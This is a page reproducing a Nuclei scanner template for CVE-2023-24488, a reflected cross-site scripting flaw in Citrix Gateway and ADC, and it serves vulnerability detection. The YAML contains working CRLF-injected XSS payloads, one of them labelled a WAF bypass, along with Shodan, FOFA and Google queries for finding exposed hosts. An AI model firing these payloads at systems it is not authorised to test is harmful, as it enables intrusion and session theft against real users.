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Citrix Gateway and Citrix ADC - Cross-Site Scripting

ID: CVE-2023-24488

Severity: medium

Author: johnk3r,DhiyaneshDk

Tags: cve2023,cve,citrix,xss,adc

Description

Section titled “Description”

Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.

YAML Source

Section titled “YAML Source”
id: CVE-2023-24488


info:
  name: Citrix Gateway and Citrix ADC - Cross-Site Scripting
  author: johnk3r,DhiyaneshDk
  severity: medium
  description: |
    Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488
    - https://blog.assetnote.io/2023/06/29/citrix-xss-advisory/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24488
    - https://twitter.com/infosec_au/status/1674786106381070342
    - https://twitter.com/bxmbn/status/1675250259608449026
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24488
    cwe-id: CWE-79
    epss-score: 0.05227
    epss-percentile: 0.93007
    cpe: cpe:2.3:a:citrix:gateway:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: gateway
    shodan-query:
      - title:"Citrix Gateway"
      - http.title:"citrix gateway"
    fofa-query: title="citrix gateway"
    google-query: intitle:"citrix gateway"
  tags: cve2023,cve,citrix,xss,adc


http:
  - method: GET
    path:
      - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E'
      - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>'


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <body x='&'onload="(alert)('citrix akamai bypass')">
          - <script>alert(document.domain)</script>
        condition: or


      - type: word
        part: body
        words:
          - "Content-Type: text/html"


      - type: status
        status:
          - 302
# digest: 4b0a00483046022100ba71d1bc103198d6814ecfd074115c97450a2b4d34e1f81b4eb9ac6b3ad472ed022100e4773f6f38dc28ab891c2c1e8a17575d1d44279cda80cb5bcfd1d4b4f6f9d87e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-24488.yaml"

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